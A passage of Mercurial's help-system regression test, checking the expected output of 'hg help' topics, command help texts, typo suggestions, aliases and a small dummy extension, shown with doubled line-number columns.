142 142 additional help topics:
143 143
144 144 Mercurial identifiers:
145 145
146 146 filesets Specifying File Sets
147 147 hgignore Syntax for Mercurial Ignore Files
148 148 patterns File Name Patterns
149 149 revisions Specifying Revisions
150 150 urls URL Paths
151 151
152 152 Mercurial output:
153 153
154 154 color Colorizing Outputs
155 155 dates Date Formats
156 156 diffs Diff Formats
157 157 templating Template Usage
158 158
159 159 Mercurial configuration:
160 160
161 161 config Configuration Files
162 162 environment Environment Variables
163 163 extensions Using Additional Features
164 164 flags Command-line flags
165 165 hgweb Configuring hgweb
166 166 merge-tools Merge Tools
167 167 pager Pager Support
168 168
169 169 Concepts:
170 170
171 171 bundlespec Bundle File Formats
172 172 evolution Safely rewriting history (EXPERIMENTAL)
173 173 glossary Glossary
174 174 phases Working with Phases
175 175 subrepos Subrepositories
176 176
177 177 Miscellaneous:
178 178
179 179 deprecated Deprecated Features
180 180 internals Technical implementation topics
181 181 scripting Using Mercurial from scripts and automation
182 182
183 183 (use 'hg help -v' to show built-in aliases and global options)
184 184
185 185 $ hg -q help
186 186 Repository creation:
187 187
188 188 clone make a copy of an existing repository
189 189 init create a new repository in the given directory
190 190
191 191 Remote repository management:
192 192
193 193 incoming show new changesets found in source
194 194 outgoing show changesets not found in the destination
195 195 paths show aliases for remote repositories
196 196 pull pull changes from the specified source
197 197 push push changes to the specified destination
198 198 serve start stand-alone webserver
199 199
200 200 Change creation:
201 201
202 202 commit commit the specified files or all outstanding changes
203 203
204 204 Change manipulation:
205 205
206 206 backout reverse effect of earlier changeset
207 207 graft copy changes from other branches onto the current branch
208 208 merge merge another revision into working directory
209 209
210 210 Change organization:
211 211
212 212 bookmarks create a new bookmark or list existing bookmarks
213 213 branch set or show the current branch name
214 214 branches list repository named branches
215 215 phase set or show the current phase name
216 216 tag add one or more tags for the current or given revision
217 217 tags list repository tags
218 218
219 219 File content management:
220 220
221 221 annotate show changeset information by line for each file
222 222 cat output the current or given revision of files
223 223 copy mark files as copied for the next commit
224 224 diff diff repository (or selected files)
225 225 grep search for a pattern in specified files
226 226
227 227 Change navigation:
228 228
229 229 bisect subdivision search of changesets
230 230 heads show branch heads
231 231 identify identify the working directory or specified revision
232 232 log show revision history of entire repository or files
233 233
234 234 Working directory management:
235 235
236 236 add add the specified files on the next commit
237 237 addremove add all new files, delete all missing files
238 238 files list tracked files
239 239 forget forget the specified files on the next commit
240 240 purge removes files not tracked by Mercurial
241 241 remove remove the specified files on the next commit
242 242 rename rename files; equivalent of copy + remove
243 243 resolve redo merges or set/view the merge status of files
244 244 revert restore files to their checkout state
245 245 root print the root (top) of the current working directory
246 246 shelve save and set aside changes from the working directory
247 247 status show changed files in the working directory
248 248 summary summarize working directory state
249 249 unshelve restore a shelved change to the working directory
250 250 update update working directory (or switch revisions)
251 251
252 252 Change import/export:
253 253
254 254 archive create an unversioned archive of a repository revision
255 255 bundle create a bundle file
256 256 export dump the header and diffs for one or more changesets
257 257 import import an ordered set of patches
258 258 unbundle apply one or more bundle files
259 259
260 260 Repository maintenance:
261 261
262 262 manifest output the current or given revision of the project manifest
263 263 recover roll back an interrupted transaction
264 264 verify verify the integrity of the repository
265 265
266 266 Help:
267 267
268 268 config show combined config settings from all hgrc files
269 269 help show help for a given topic or a help overview
270 270 version output version and copyright information
271 271
272 272 additional help topics:
273 273
274 274 Mercurial identifiers:
275 275
276 276 filesets Specifying File Sets
277 277 hgignore Syntax for Mercurial Ignore Files
278 278 patterns File Name Patterns
279 279 revisions Specifying Revisions
280 280 urls URL Paths
281 281
282 282 Mercurial output:
283 283
284 284 color Colorizing Outputs
285 285 dates Date Formats
286 286 diffs Diff Formats
287 287 templating Template Usage
288 288
289 289 Mercurial configuration:
290 290
291 291 config Configuration Files
292 292 environment Environment Variables
293 293 extensions Using Additional Features
294 294 flags Command-line flags
295 295 hgweb Configuring hgweb
296 296 merge-tools Merge Tools
297 297 pager Pager Support
298 298
299 299 Concepts:
300 300
301 301 bundlespec Bundle File Formats
302 302 evolution Safely rewriting history (EXPERIMENTAL)
303 303 glossary Glossary
304 304 phases Working with Phases
305 305 subrepos Subrepositories
306 306
307 307 Miscellaneous:
308 308
309 309 deprecated Deprecated Features
310 310 internals Technical implementation topics
311 311 scripting Using Mercurial from scripts and automation
312 312
313 313 Test extension help:
314 314 $ hg help extensions --config extensions.rebase= --config extensions.children=
315 315 Using Additional Features
316 316 """""""""""""""""""""""""
317 317
318 318 Mercurial has the ability to add new features through the use of
319 319 extensions. Extensions may add new commands, add options to existing
320 320 commands, change the default behavior of commands, or implement hooks.
321 321
322 322 To enable the "foo" extension, either shipped with Mercurial or in the
323 323 Python search path, create an entry for it in your configuration file,
324 324 like this:
325 325
326 326 [extensions]
327 327 foo =
328 328
329 329 You may also specify the full path to an extension:
330 330
331 331 [extensions]
332 332 myfeature = ~/.hgext/myfeature.py
333 333
334 334 See 'hg help config' for more information on configuration files.
335 335
336 336 Extensions are not loaded by default for a variety of reasons: they can
337 337 increase startup overhead; they may be meant for advanced usage only; they
338 338 may provide potentially dangerous abilities (such as letting you destroy
339 339 or modify history); they might not be ready for prime time; or they may
340 340 alter some usual behaviors of stock Mercurial. It is thus up to the user
341 341 to activate extensions as needed.
342 342
343 343 To explicitly disable an extension enabled in a configuration file of
344 344 broader scope, prepend its path with !:
345 345
346 346 [extensions]
347 347 # disabling extension bar residing in /path/to/extension/bar.py
348 348 bar = !/path/to/extension/bar.py
349 349 # ditto, but no path was supplied for extension baz
350 350 baz = !
351 351
352 352 enabled extensions:
353 353
354 354 children command to display child changesets (DEPRECATED)
355 355 rebase command to move sets of revisions to a different ancestor
356 356
357 357 disabled extensions:
358 358
359 359 acl hooks for controlling repository access
360 360 blackbox log repository events to a blackbox for debugging
361 361 bugzilla hooks for integrating with the Bugzilla bug tracker
362 362 censor erase file content at a given revision
363 363 churn command to display statistics about repository history
364 364 clonebundles advertise pre-generated bundles to seed clones
365 365 closehead close arbitrary heads without checking them out first
366 366 convert import revisions from foreign VCS repositories into
367 367 Mercurial
368 368 eol automatically manage newlines in repository files
369 369 extdiff command to allow external programs to compare revisions
370 370 factotum http authentication with factotum
371 371 fastexport export repositories as git fast-import stream
372 372 githelp try mapping git commands to Mercurial commands
373 373 gpg commands to sign and verify changesets
374 374 hgk browse the repository in a graphical way
375 375 highlight syntax highlighting for hgweb (requires Pygments)
376 376 histedit interactive history editing
377 377 keyword expand keywords in tracked files
378 378 largefiles track large binary files
379 379 mq manage a stack of patches
380 380 notify hooks for sending email push notifications
381 381 patchbomb command to send changesets as (a series of) patch emails
382 382 relink recreates hardlinks between repository clones
383 383 schemes extend schemes with shortcuts to repository swarms
384 384 share share a common history between several working directories
385 385 transplant command to transplant changesets from another branch
386 386 win32mbcs allow the use of MBCS paths with problematic encodings
387 387 zeroconf discover and advertise repositories on the local network
388 388
389 389 #endif
390 390
391 391 Verify that deprecated extensions are included if --verbose:
392 392
393 393 $ hg -v help extensions | grep children
394 394 children command to display child changesets (DEPRECATED)
395 395
396 396 Verify that extension keywords appear in help templates
397 397
398 398 $ hg help --config extensions.transplant= templating|grep transplant > /dev/null
399 399
400 400 Test short command list with verbose option
401 401
402 402 $ hg -v help shortlist
403 403 Mercurial Distributed SCM
404 404
405 405 basic commands:
406 406
407 407 abort abort an unfinished operation (EXPERIMENTAL)
408 408 add add the specified files on the next commit
409 409 annotate, blame
410 410 show changeset information by line for each file
411 411 clone make a copy of an existing repository
412 412 commit, ci commit the specified files or all outstanding changes
413 413 continue resumes an interrupted operation (EXPERIMENTAL)
414 414 diff diff repository (or selected files)
415 415 export dump the header and diffs for one or more changesets
416 416 forget forget the specified files on the next commit
417 417 init create a new repository in the given directory
418 418 log, history show revision history of entire repository or files
419 419 merge merge another revision into working directory
420 420 pull pull changes from the specified source
421 421 push push changes to the specified destination
422 422 remove, rm remove the specified files on the next commit
423 423 serve start stand-alone webserver
424 424 status, st show changed files in the working directory
425 425 summary, sum summarize working directory state
426 426 update, up, checkout, co
427 427 update working directory (or switch revisions)
428 428
429 429 global options ([+] can be repeated):
430 430
431 431 -R --repository REPO repository root directory or name of overlay bundle
432 432 file
433 433 --cwd DIR change working directory
434 434 -y --noninteractive do not prompt, automatically pick the first choice for
435 435 all prompts
436 436 -q --quiet suppress output
437 437 -v --verbose enable additional output
438 438 --color TYPE when to colorize (boolean, always, auto, never, or
439 439 debug)
440 440 --config CONFIG [+] set/override config option (use 'section.name=value')
441 441 --debug enable debugging output
442 442 --debugger start debugger
443 443 --encoding ENCODE set the charset encoding (default: ascii)
444 444 --encodingmode MODE set the charset encoding mode (default: strict)
445 445 --traceback always print a traceback on exception
446 446 --time time how long the command takes
447 447 --profile print command execution profile
448 448 --version output version information and exit
449 449 -h --help display help and exit
450 450 --hidden consider hidden changesets
451 451 --pager TYPE when to paginate (boolean, always, auto, or never)
452 452 (default: auto)
453 453
454 454 (use 'hg help' for the full list of commands)
455 455
456 456 $ hg add -h
457 457 hg add [OPTION]... [FILE]...
458 458
459 459 add the specified files on the next commit
460 460
461 461 Schedule files to be version controlled and added to the repository.
462 462
463 463 The files will be added to the repository at the next commit. To undo an
464 464 add before that, see 'hg forget'.
465 465
466 466 If no names are given, add all files to the repository (except files
467 467 matching ".hgignore").
468 468
469 469 Returns 0 if all files are successfully added.
470 470
471 471 options ([+] can be repeated):
472 472
473 473 -I --include PATTERN [+] include names matching the given patterns
474 474 -X --exclude PATTERN [+] exclude names matching the given patterns
475 475 -S --subrepos recurse into subrepositories
476 476 -n --dry-run do not perform actions, just print output
477 477
478 478 (some details hidden, use --verbose to show complete help)
479 479
480 480 Verbose help for add
481 481
482 482 $ hg add -hv
483 483 hg add [OPTION]... [FILE]...
484 484
485 485 add the specified files on the next commit
486 486
487 487 Schedule files to be version controlled and added to the repository.
488 488
489 489 The files will be added to the repository at the next commit. To undo an
490 490 add before that, see 'hg forget'.
491 491
492 492 If no names are given, add all files to the repository (except files
493 493 matching ".hgignore").
494 494
495 495 Examples:
496 496
497 497 - New (unknown) files are added automatically by 'hg add':
498 498
499 499 $ ls
500 500 foo.c
501 501 $ hg status
502 502 ? foo.c
503 503 $ hg add
504 504 adding foo.c
505 505 $ hg status
506 506 A foo.c
507 507
508 508 - Specific files to be added can be specified:
509 509
510 510 $ ls
511 511 bar.c foo.c
512 512 $ hg status
513 513 ? bar.c
514 514 ? foo.c
515 515 $ hg add bar.c
516 516 $ hg status
517 517 A bar.c
518 518 ? foo.c
519 519
520 520 Returns 0 if all files are successfully added.
521 521
522 522 options ([+] can be repeated):
523 523
524 524 -I --include PATTERN [+] include names matching the given patterns
525 525 -X --exclude PATTERN [+] exclude names matching the given patterns
526 526 -S --subrepos recurse into subrepositories
527 527 -n --dry-run do not perform actions, just print output
528 528
529 529 global options ([+] can be repeated):
530 530
531 531 -R --repository REPO repository root directory or name of overlay bundle
532 532 file
533 533 --cwd DIR change working directory
534 534 -y --noninteractive do not prompt, automatically pick the first choice for
535 535 all prompts
536 536 -q --quiet suppress output
537 537 -v --verbose enable additional output
538 538 --color TYPE when to colorize (boolean, always, auto, never, or
539 539 debug)
540 540 --config CONFIG [+] set/override config option (use 'section.name=value')
541 541 --debug enable debugging output
542 542 --debugger start debugger
543 543 --encoding ENCODE set the charset encoding (default: ascii)
544 544 --encodingmode MODE set the charset encoding mode (default: strict)
545 545 --traceback always print a traceback on exception
546 546 --time time how long the command takes
547 547 --profile print command execution profile
548 548 --version output version information and exit
549 549 -h --help display help and exit
550 550 --hidden consider hidden changesets
551 551 --pager TYPE when to paginate (boolean, always, auto, or never)
552 552 (default: auto)
553 553
554 554 Test the textwidth config option
555 555
556 556 $ hg root -h --config ui.textwidth=50
557 557 hg root
558 558
559 559 print the root (top) of the current working
560 560 directory
561 561
562 562 Print the root directory of the current
563 563 repository.
564 564
565 565 Returns 0 on success.
566 566
567 567 options:
568 568
569 569 -T --template TEMPLATE display with template
570 570
571 571 (some details hidden, use --verbose to show
572 572 complete help)
573 573
574 574 Test help option with version option
575 575
576 576 $ hg add -h --version
577 577 Mercurial Distributed SCM (version *) (glob)
578 578 (see https://mercurial-scm.org for more information)
579 579
580 580 Copyright (C) 2005-* Olivia Mackall and others (glob)
581 581 This is free software; see the source for copying conditions. There is NO
582 582 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
583 583
584 584 $ hg add --skjdfks
585 585 hg add: option --skjdfks not recognized
586 586 hg add [OPTION]... [FILE]...
587 587
588 588 add the specified files on the next commit
589 589
590 590 options ([+] can be repeated):
591 591
592 592 -I --include PATTERN [+] include names matching the given patterns
593 593 -X --exclude PATTERN [+] exclude names matching the given patterns
594 594 -S --subrepos recurse into subrepositories
595 595 -n --dry-run do not perform actions, just print output
596 596
597 597 (use 'hg add -h' to show more help)
598 598 [10]
599 599
600 600 Test ambiguous command help
601 601
602 602 $ hg help ad
603 603 list of commands:
604 604
605 605 add add the specified files on the next commit
606 606 addremove add all new files, delete all missing files
607 607
608 608 (use 'hg help -v ad' to show built-in aliases and global options)
609 609
610 610 Test command without options
611 611
612 612 $ hg help verify
613 613 hg verify
614 614
615 615 verify the integrity of the repository
616 616
617 617 Verify the integrity of the current repository.
618 618
619 619 This will perform an extensive check of the repository's integrity,
620 620 validating the hashes and checksums of each entry in the changelog,
621 621 manifest, and tracked files, as well as the integrity of their crosslinks
622 622 and indices.
623 623
624 624 Please see https://mercurial-scm.org/wiki/RepositoryCorruption for more
625 625 information about recovery from corruption of the repository.
626 626
627 627 Returns 0 on success, 1 if errors are encountered.
628 628
629 629 options:
630 630
631 631 (some details hidden, use --verbose to show complete help)
632 632
633 633 $ hg help diff
634 634 hg diff [OPTION]... ([-c REV] | [--from REV1] [--to REV2]) [FILE]...
635 635
636 636 diff repository (or selected files)
637 637
638 638 Show differences between revisions for the specified files.
639 639
640 640 Differences between files are shown using the unified diff format.
641 641
642 642 Note:
643 643 'hg diff' may generate unexpected results for merges, as it will
644 644 default to comparing against the working directory's first parent
645 645 changeset if no revisions are specified.
646 646
647 647 By default, the working directory files are compared to its first parent.
648 648 To see the differences from another revision, use --from. To see the
649 649 difference to another revision, use --to. For example, 'hg diff --from .^'
650 650 will show the differences from the working copy's grandparent to the
651 651 working copy, 'hg diff --to .' will show the diff from the working copy to
652 652 its parent (i.e. the reverse of the default), and 'hg diff --from 1.0 --to
653 653 1.2' will show the diff between those two revisions.
654 654
655 655 Alternatively you can specify -c/--change with a revision to see the
656 656 changes in that changeset relative to its first parent (i.e. 'hg diff -c
657 657 42' is equivalent to 'hg diff --from 42^ --to 42')
658 658
659 659 Without the -a/--text option, diff will avoid generating diffs of files it
660 660 detects as binary. With -a, diff will generate a diff anyway, probably
661 661 with undesirable results.
662 662
663 663 Use the -g/--git option to generate diffs in the git extended diff format.
664 664 For more information, read 'hg help diffs'.
665 665
666 666 Returns 0 on success.
667 667
668 668 options ([+] can be repeated):
669 669
670 670 --from REV1 revision to diff from
671 671 --to REV2 revision to diff to
672 672 -c --change REV change made by revision
673 673 -a --text treat all files as text
674 674 -g --git use git extended diff format
675 675 --binary generate binary diffs in git mode (default)
676 676 --nodates omit dates from diff headers
677 677 --noprefix omit a/ and b/ prefixes from filenames
678 678 -p --show-function show which function each change is in
679 679 --reverse produce a diff that undoes the changes
680 680 -w --ignore-all-space ignore white space when comparing lines
681 681 -b --ignore-space-change ignore changes in the amount of white space
682 682 -B --ignore-blank-lines ignore changes whose lines are all blank
683 683 -Z --ignore-space-at-eol ignore changes in whitespace at EOL
684 684 -U --unified NUM number of lines of context to show
685 685 --stat output diffstat-style summary of changes
686 686 --root DIR produce diffs relative to subdirectory
687 687 -I --include PATTERN [+] include names matching the given patterns
688 688 -X --exclude PATTERN [+] exclude names matching the given patterns
689 689 -S --subrepos recurse into subrepositories
690 690
691 691 (some details hidden, use --verbose to show complete help)
692 692
693 693 $ hg help status
694 694 hg status [OPTION]... [FILE]...
695 695
696 696 aliases: st
697 697
698 698 show changed files in the working directory
699 699
700 700 Show status of files in the repository. If names are given, only files
701 701 that match are shown. Files that are clean or ignored or the source of a
702 702 copy/move operation, are not listed unless -c/--clean, -i/--ignored,
703 703 -C/--copies or -A/--all are given. Unless options described with "show
704 704 only ..." are given, the options -mardu are used.
705 705
706 706 Option -q/--quiet hides untracked (unknown and ignored) files unless
707 707 explicitly requested with -u/--unknown or -i/--ignored.
708 708
709 709 Note:
710 710 'hg status' may appear to disagree with diff if permissions have
711 711 changed or a merge has occurred. The standard diff format does not
712 712 report permission changes and diff only reports changes relative to one
713 713 merge parent.
714 714
715 715 If one revision is given, it is used as the base revision. If two
716 716 revisions are given, the differences between them are shown. The --change
717 717 option can also be used as a shortcut to list the changed files of a
718 718 revision from its first parent.
719 719
720 720 The codes used to show the status of files are:
721 721
722 722 M = modified
723 723 A = added
724 724 R = removed
725 725 C = clean
726 726 ! = missing (deleted by non-hg command, but still tracked)
727 727 ? = not tracked
728 728 I = ignored
729 729 = origin of the previous file (with --copies)
730 730
731 731 Returns 0 on success.
732 732
733 733 options ([+] can be repeated):
734 734
735 735 -A --all show status of all files
736 736 -m --modified show only modified files
737 737 -a --added show only added files
738 738 -r --removed show only removed files
739 739 -d --deleted show only missing files
740 740 -c --clean show only files without changes
741 741 -u --unknown show only unknown (not tracked) files
742 742 -i --ignored show only ignored files
743 743 -n --no-status hide status prefix
744 744 -C --copies show source of copied files
745 745 -0 --print0 end filenames with NUL, for use with xargs
746 746 --rev REV [+] show difference from revision
747 747 --change REV list the changed files of a revision
748 748 -I --include PATTERN [+] include names matching the given patterns
749 749 -X --exclude PATTERN [+] exclude names matching the given patterns
750 750 -S --subrepos recurse into subrepositories
751 751 -T --template TEMPLATE display with template
752 752
753 753 (some details hidden, use --verbose to show complete help)
754 754
755 755 $ hg -q help status
756 756 hg status [OPTION]... [FILE]...
757 757
758 758 show changed files in the working directory
759 759
760 760 $ hg help foo
761 761 abort: no such help topic: foo
762 762 (try 'hg help --keyword foo')
763 763 [10]
764 764
765 765 $ hg skjdfks
766 766 hg: unknown command 'skjdfks'
767 767 (use 'hg help' for a list of commands)
768 768 [10]
769 769
770 770 Typoed command gives suggestion
771 771 $ hg puls
772 772 hg: unknown command 'puls'
773 773 (did you mean one of pull, push?)
774 774 [10]
775 775
776 776 Not enabled extension gets suggested
777 777
778 778 $ hg rebase
779 779 hg: unknown command 'rebase'
780 780 'rebase' is provided by the following extension:
781 781
782 782 rebase command to move sets of revisions to a different ancestor
783 783
784 784 (use 'hg help extensions' for information on enabling extensions)
785 785 [10]
786 786
787 787 Disabled extension gets suggested
788 788 $ hg --config extensions.rebase=! rebase
789 789 hg: unknown command 'rebase'
790 790 'rebase' is provided by the following extension:
791 791
792 792 rebase command to move sets of revisions to a different ancestor
793 793
794 794 (use 'hg help extensions' for information on enabling extensions)
795 795 [10]
796 796
797 797 Checking that help adapts based on the config:
798 798
799 799 $ hg help diff --config ui.tweakdefaults=true | egrep -e '^ *(-g|config)'
800 800 -g --[no-]git use git extended diff format (default: on from
801 801 config)
802 802
803 803 Make sure that we don't run afoul of the help system thinking that
804 804 this is a section and erroring out weirdly.
805 805
806 806 $ hg .log
807 807 hg: unknown command '.log'
808 808 (did you mean log?)
809 809 [10]
810 810
811 811 $ hg log.
812 812 hg: unknown command 'log.'
813 813 (did you mean log?)
814 814 [10]
815 815 $ hg pu.lh
816 816 hg: unknown command 'pu.lh'
817 817 (did you mean one of pull, push?)
818 818 [10]
819 819
820 820 $ cat > helpext.py <<EOF
821 821 > import os
822 822 > from mercurial import commands, fancyopts, registrar
823 823 >
824 824 > def func(arg):
825 825 > return '%sfoo' % arg
826 826 > class customopt(fancyopts.customopt):
827 827 > def newstate(self, oldstate, newparam, abort):
828 828 > return '%sbar' % oldstate
829 829 > cmdtable = {}
830 830 > command = registrar.command(cmdtable)
831 831 >
832 832 > @command(b'nohelp',
833 833 > [(b'', b'longdesc', 3, b'x'*67),
834 834 > (b'n', b'', None, b'normal desc'),
835 835 > (b'', b'newline', b'', b'line1\nline2'),
836 836 > (b'', b'default-off', False, b'enable X'),
837 837 > (b'', b'default-on', True, b'enable Y'),
838 838 > (b'', b'callableopt', func, b'adds foo'),
839 839 > (b'', b'customopt', customopt(''), b'adds bar'),
840 840 > (b'', b'customopt-withdefault', customopt('foo'), b'adds bar')],
841 841 > b'hg nohelp',
842 842 > norepo=True)
843 843 > @command(b'debugoptADV', [(b'', b'aopt', None, b'option is (ADVANCED)')])
844 844 > @command(b'debugoptDEP', [(b'', b'dopt', None, b'option is (DEPRECATED)')])
845 845 > @command(b'debugoptEXP', [(b'', b'eopt', None, b'option is (EXPERIMENTAL)')])
846 846 > def nohelp(ui, *args, **kwargs):
847 847 > pass
848 848 >
849 849 > @command(b'hashelp', [], b'hg hashelp', norepo=True)
850 850 > def hashelp(ui, *args, **kwargs):
851 851 > """Extension command's help"""
852 852 >
853 853 > def uisetup(ui):
854 854 > ui.setconfig(b'alias', b'shellalias', b'!echo hi', b'helpext')
855 855 > ui.setconfig(b'alias', b'hgalias', b'summary', b'helpext')
856 856 > ui.setconfig(b'alias', b'hgalias:doc', b'My doc', b'helpext')
857 857 > ui.setconfig(b'alias', b'hgalias:category', b'navigation', b'helpext')
858 858 > ui.setconfig(b'alias', b'hgaliasnodoc', b'summary', b'helpext')
859 859 >
860 860 > EOF
861 861 $ echo '[extensions]' >> $HGRCPATH
862 862 $ echo "helpext = `pwd`/helpext.py" >> $HGRCPATH
863 863
864 864 Test for aliases
865 865
866 866 $ hg help | grep hgalias
867 867 hgalias My doc
868 868
869 869 $ hg help hgalias
870 870 hg hgalias [--remote]
871 871
872 872 alias for: hg summary
873 873
874 874 My doc
875 875
876 876 defined by: helpext
877 877
878 878 options:
879 879
880 880 --remote check for push and pull
881 881
882 882 (some details hidden, use --verbose to show complete help)
883 883 $ hg help hgaliasnodoc
884 884 hg hgaliasnodoc [--remote]
885 885
886 886 alias for: hg summary
887 887
888 888 summarize working directory state
889 889
890 890 This generates a brief summary of the working directory state, including
891 891 parents, branch, commit status, phase and available updates.
892 892
893 893 With the --remote option, this will check the default paths for incoming
894 894 and outgoing changes. This can be time-consuming.
895 895
896 896 Returns 0 on success.
897 897
898 898 defined by: helpext
899 899
900 900 options:
901 901
902 902 --remote check for push and pull
903 903
904 904 (some details hidden, use --verbose to show complete help)
905 905
906 906 $ hg help shellalias
907 907 hg shellalias
908 908
909 909 shell alias for: echo hi
910 910
911 911 (no help text available)
912 912
913 913 defined by: helpext
914 914
915 915 (some details hidden, use --verbose to show complete help)
916 916
917 917 Test command with no help text
918 918
919 919 $ hg help nohelp
920 920 hg nohelp
921 921
922 922 (no help text available)
923 923
924 924 options:
925 925
926 926 --longdesc VALUE
927 927 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
928 928 xxxxxxxxxxxxxxxxxxxxxxx (default: 3)
929 929 -n -- normal desc
930 930 --newline VALUE line1 line2
931 931 --default-off enable X
932 932 --[no-]default-on enable Y (default: on)
933 933 --callableopt VALUE adds foo
934 934 --customopt VALUE adds bar
935 935 --customopt-withdefault VALUE adds bar (default: foo)
936 936
937 937 (some details hidden, use --verbose to show complete help)
938 938
939 939 Test that default list of commands includes extension commands that have help,
940 940 but not those that don't, except in verbose mode, when a keyword is passed, or
941 941 when help about the extension is requested.
942 942
943 943 #if no-extraextensions
944 944
945 945 $ hg help | grep hashelp
946 946 hashelp Extension command's help
947 947 $ hg help | grep nohelp
948 948 [1]
949 949 $ hg help -v | grep nohelp
950 950 nohelp (no help text available)
951 951
952 952 $ hg help -k nohelp
953 953 Commands:
954 954
955 955 nohelp hg nohelp
956 956
957 957 Extension Commands:
958 958
959 959 nohelp (no help text available)
960 960
961 961 $ hg help helpext
962 962 helpext extension - no help text available
963 963
964 964 list of commands:
965 965
966 966 hashelp Extension command's help
967 967 nohelp (no help text available)
968 968
969 969 (use 'hg help -v helpext' to show built-in aliases and global options)
970 970
971 971 #endif
972 972
973 973 Test list of internal help commands
974 974
975 975 $ hg help debug
976 976 debug commands (internal and unsupported):
977 977
978 978 debug-repair-issue6528
979 979 find affected revisions and repair them. See issue6528 for more
980 980 details.
981 981 debugancestor
982 982 find the ancestor revision of two revisions in a given index
983 983 debugantivirusrunning
984 984 attempt to trigger an antivirus scanner to see if one is active
985 985 debugapplystreamclonebundle
986 986 apply a stream clone bundle file
987 987 debugbackupbundle
988 988 lists the changesets available in backup bundles
989 989 debugbuilddag
990 990 builds a repo with a given DAG from scratch in the current
991 991 empty repo
992 992 debugbundle lists the contents of a bundle
993 993 debugcapabilities
994 994 lists the capabilities of a remote peer
995 995 debugchangedfiles
996 996 list the stored files changes for a revision
997 997 debugcheckstate
998 998 validate the correctness of the current dirstate
999 999 debugcolor show available color, effects or style
1000 1000 debugcommands
1001 1001 list all available commands and options
1002 1002 debugcomplete
1003 1003 returns the completion list associated with the given command
1004 1004 debugcreatestreamclonebundle
1005 1005 create a stream clone bundle file
1006 1006 debugdag format the changelog or an index DAG as a concise textual
1007 1007 description
1008 1008 debugdata dump the contents of a data file revision
1009 1009 debugdate parse and display a date
1010 1010 debugdeltachain
1011 1011 dump information about delta chains in a revlog
1012 1012 debugdirstate
1013 1013 show the contents of the current dirstate
1014 1014 debugdirstateignorepatternshash
1015 1015 show the hash of ignore patterns stored in dirstate if v2,
1016 1016 debugdiscovery
1017 1017 runs the changeset discovery protocol in isolation
1018 1018 debugdownload
1019 1019 download a resource using Mercurial logic and config
1020 1020 debugextensions
1021 1021 show information about active extensions
1022 1022 debugfileset parse and apply a fileset specification
1023 1023 debugformat display format information about the current repository
1024 1024 debugfsinfo show information detected about current filesystem
1025 1025 debuggetbundle
1026 1026 retrieves a bundle from a repo
1027 1027 debugignore display the combined ignore pattern and information about
1028 1028 ignored files
1029 1029 debugindex dump index data for a storage primitive
1030 1030 debugindexdot
1031 1031 dump an index DAG as a graphviz dot file
1032 1032 debugindexstats
1033 1033 show stats related to the changelog index
1034 1034 debuginstall test Mercurial installation
1035 1035 debugknown test whether node ids are known to a repo
1036 1036 debuglocks show or modify state of locks
1037 1037 debugmanifestfulltextcache
1038 1038 show, clear or amend the contents of the manifest fulltext
1039 1039 cache
1040 1040 debugmergestate
1041 1041 print merge state
1042 1042 debugnamecomplete
1043 1043 complete "names" - tags, open branch names, bookmark names
1044 1044 debugnodemap write and inspect on disk nodemap
1045 1045 debugobsolete
1046 1046 create arbitrary obsolete marker
1047 1047 debugoptADV (no help text available)
1048 1048 debugoptDEP (no help text available)
1049 1049 debugoptEXP (no help text available)
1050 1050 debugp1copies
1051 1051 dump copy information compared to p1
1052 1052 debugp2copies
1053 1053 dump copy information compared to p2
1054 1054 debugpathcomplete
1055 1055 complete part or all of a tracked path
1056 1056 debugpathcopies
1057 1057 show copies between two revisions
1058 1058 debugpeer establish a connection to a peer repository
1059 1059 debugpickmergetool
1060 1060 examine which merge tool is chosen for specified file
1061 1061 debugpushkey access the pushkey key/value protocol
1062 1062 debugpvec (no help text available)
1063 1063 debugrebuilddirstate
1064 1064 rebuild the dirstate as it would look like for the given
1065 1065 revision
1066 1066 debugrebuildfncache
1067 1067 rebuild the fncache file
1068 1068 debugrename dump rename information
1069 1069 debugrequires
1070 1070 print the current repo requirements
1071 1071 debugrevlog show data and statistics about a revlog
1072 1072 debugrevlogindex
1073 1073 dump the contents of a revlog index
1074 1074 debugrevspec parse and apply a revision specification
1075 1075 debugserve run a server with advanced settings
1076 1076 debugsetparents
1077 1077 manually set the parents of the current working directory
1078 1078 (DANGEROUS)
1079 1079 debugshell run an interactive Python interpreter
1080 1080 debugsidedata
1081 1081 dump the side data for a cl/manifest/file revision
1082 1082 debugssl test a secure connection to a server
1083 1083 debugstrip strip changesets and all their descendants from the repository
1084 1084 debugsub (no help text available)
1085 1085 debugsuccessorssets
1086 1086 show set of successors for revision
1087 1087 debugtagscache
1088 1088 display the contents of .hg/cache/hgtagsfnodes1
1089 1089 debugtemplate
1090 1090 parse and apply a template
1091 1091 debuguigetpass
1092 1092 show prompt to type password
1093 1093 debuguiprompt
1094 1094 show plain prompt
1095 1095 debugupdatecaches
1096 1096 warm all known caches in the repository
1097 1097 debugupgraderepo
1098 1098 upgrade a repository to use different features
1099 1099 debugwalk show how files match on given patterns
1100 1100 debugwhyunstable
1101 1101 explain instabilities of a changeset
1102 1102 debugwireargs
1103 1103 (no help text available)
1104 1104 debugwireproto
1105 1105 send wire protocol commands to a server
1106 1106
1107 1107 (use 'hg help -v debug' to show built-in aliases and global options)
1108 1108
1109 1109 internals topic renders index of available sub-topics
1110 1110
1111 1111 $ hg help internals
1112 1112 Technical implementation topics
1113 1113 """""""""""""""""""""""""""""""
1114 1114
1115 1115 To access a subtopic, use "hg help internals.{subtopic-name}"
1116 1116
1117 1117 bid-merge Bid Merge Algorithm
1118 1118 bundle2 Bundle2
1119 1119 bundles Bundles
1120 1120 cbor CBOR
1121 1121 censor Censor
1122 1122 changegroups Changegroups
1123 1123 config Config Registrar
1124 1124 dirstate-v2 dirstate-v2 file format
1125 1125 extensions Extension API
1126 1126 mergestate Mergestate
1127 1127 requirements Repository Requirements
1128 1128 revlogs Revision Logs
1129 1129 wireprotocol Wire Protocol
1130 1130 wireprotocolrpc
1131 1131 Wire Protocol RPC
1132 1132 wireprotocolv2
1133 1133 Wire Protocol Version 2
1134 1134
1135 1135 sub-topics can be accessed
1136 1136
1137 1137 $ hg help internals.changegroups
1138 1138 Changegroups
1139 1139 """"""""""""
1140 1140
1141 1141 Changegroups are representations of repository revlog data, specifically
1142 1142 the changelog data, root/flat manifest data, treemanifest data, and
1143 1143 filelogs.
1144 1144
1145 1145 There are 4 versions of changegroups: "1", "2", "3" and "4". From a high-
